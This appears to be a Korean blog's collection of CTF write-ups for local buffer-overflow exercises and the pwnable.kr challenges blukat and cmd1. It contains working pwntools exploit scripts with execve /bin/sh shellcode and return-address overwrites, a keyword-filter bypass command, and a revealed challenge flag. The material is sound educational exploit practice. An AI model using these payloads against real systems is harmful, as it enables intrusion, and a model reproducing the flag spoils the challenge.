pwnable
- 보호기법 2020.11.15
- 5 2020.10.16
- 4 2020.10.16
- 3 2020.10.16
- 2 2020.10.16
- 1 2020.10.16
- [pwnable.kr] blukat 2020.10.12
- [pwnable.kr] cmd1 2020.10.10
보호기법
5
flag는 그냥 만들어주면 된다. 목적은 shelld이 아닌 flag를 읽는것이다.
-0x48 ~ 0x04(ret) 거리 : 0x4c : 76
read를 0x60만큼 하므로 덮을수 있다.
리턴 주소는 확인해보니깐
유동적으로 변하는것 같다. (스택영역은 유동적이라고 한다.) 그리고 지금 문제는 shell이 아닌 flag이고 flag는 g_buf,
전역변수이므로 정적이다. 메인함수에서 libc의 주소도 있으므로 출력함수(puts)의 주소를 구하고 g_buf를 읽어주면
된다.
문제에서 write함수의 주소를 알려주고, 우린 libc에서 offset을 구해서 puts함수의 주소를 알아낼 수 있다.
from pwn import *
flag_addr = 0x0804a060
r = process("./exercise5")
r.recvuntil("you : ")
write_got = int(r.recv(10),16)
puts_got = write_got - 520848
print hex(puts_got)
payload = "\x90"*0x4c + p32(puts_got) + "A"*0x4 + p32(flag_addr)
print payload
r.sendlineafter(" me : ", payload)
r.interactive()
4
g_buf는 bss, 전역변수이고
-0x88(dest) ~ 0x04(ret) 거리 : 0x8c : 140
140 - 23(shell) = 117
win함수 없음
리턴할 주소가 안보인다. gdb로 찾아준다. (아마 전역변수라 주소가 고정? 되는것 같긴 한데 잘 모르겠다)
리턴 주소 >> 0x804a060
from pwn import *
r = process("./exercise4")
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ("\x90"*50 + shell + "\x90"*67 + p32(0x804a060))
r.sendafter(" :",payload)
r.interactive()
해당 주소는 shellcode를 넣은부분의 주소인데, (payload) 스택에 shellcode를 넣는다고 마법처럼 bin/sh가 실행되는게 아니고 ret에서 해당 주소로 이동해야 한다. (난 마법을 믿었다)
3
리턴할 함수가 없다.
shellcode로 풀 수 있다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
-0x88 ~ 0x04(ret) : 거리 0x8C : 140
140 - 23(shell) = 117
p32(int)이므로 정수형을 넣어준다.
from pwn import *
r = process("./exercise3")
shell ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
r.recvuntil("stack : ")
stack_addr = int(r.recv(10), 16)
payload = "\x90"*50 + shell + "\x90"*67 + p32(stack_addr)
r.sendafter(": ", payload)
r.interactive()
2
fgets함수에서 56바이트를 받는데 0x14 = 20이므로 초과한다.
-0x14 ~ 0x04(ret) 거리 0x18
win 함수 주소 : 0x08048506
from pwn import *
r = process("./exercise2")
r.sendafter(":", "a"*0x18 + p32(0x08048506))
r.interactive()
1
-0x24 ~ 0x04(ret) 거리 0x28
win 주소 0x08048526
주소는 리틀엔디안 32bit으로 넣어주면 된다.
from pwn import *
r = process("./exercise1")
r.sendafter(" : ", "a"*0x28 + p32(0x08048526))
r.interactive()
[pwnable.kr] blukat
안드로이드 보다가 하기 싫어서 누가 이 문제가 쉽다고 해서 풀었다..
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
int i;
for(i=0; i<strlen(s); i++){
flag[i] = s[i] ^ key[i];
}
printf("%s\n", flag);
}
int main(){
FILE* fp = fopen("/home/blukat/password", "r");
fgets(password, 100, fp);
char buf[100];
printf("guess the password!\n");
fgets(buf, 128, stdin);
if(!strcmp(password, buf)){
printf("congrats! here is your flag: ");
calc_flag(password);
}
else{
printf("wrong guess!\n");
exit(0);
}
return 0;
}
문제 설명 안읽고 처음에 역연산 코드 짜다가 생각해보니 변수가 두개인 일차방정식을 어째 푸냐 이건 아니다 해서
문제설명을 보아하니 뭔가 함정이 있다 싶어서 fp에서 뭔 오류가 생기나보다 해서 계속 쳐다 봐도 문제가 없다.
그냥 password가 permission denied였다. ㅋ..
congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!
'pwnable > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] cmd1 (0) | 2020.10.10 |
---|---|
[pwnable.kr] random (0) | 2020.10.09 |
[pwnable.kr] passcode (0) | 2020.10.08 |
[pwnable.kr] mistake (0) | 2020.10.03 |
[pwnable.kr] lotto (0) | 2020.09.23 |
[pwnable.kr] cmd1
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
코드가 간단해서 빨리 풀었다.
strstr함수는,
dojang.io/mod/page/view.php?id=371
C 언어 코딩 도장: 44.3 문자열 안에서 문자열로 검색하기
이번에는 문자열 안에서 문자열로 검색하는 방법을 알아보겠습니다. strstr 함수는 문자열 안에서 문자열을 검색하며 string (find) string에서 따왔습니다(string.h 헤더 파일에 선언되어 있습니다). strs
dojang.io
자세한건 위에서 읽어보면 되고, 우리가 생각해야하는건 flag, sh, tmp라는 문자열이 검색되면 (cmd에서) strstr함수는 1을 리턴한다. 따라서 flag, sh, tmp를 쓸수 없다.
근데 선배가 가르쳐준게 있었는데 파일이름뒤에 *를 붙이면 뒤에 긴 이름은 생략할 수 있다.
입력한 값은 system(여기에)들어가는데, /bin/cat flag라는 구문을 넣어주면 된다.(사실 넣어준다는 표현보다는 cmd1이 실행되는 동안 실행시켜준다 가 맞는 표현같다.)
strstr함수를 우회하려면 /bin/cat fla*를 보내면 될듯.
mommy now I get what PATH environment is for :)
'pwnable > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] blukat (0) | 2020.10.12 |
---|---|
[pwnable.kr] random (0) | 2020.10.09 |
[pwnable.kr] passcode (0) | 2020.10.08 |
[pwnable.kr] mistake (0) | 2020.10.03 |
[pwnable.kr] lotto (0) | 2020.09.23 |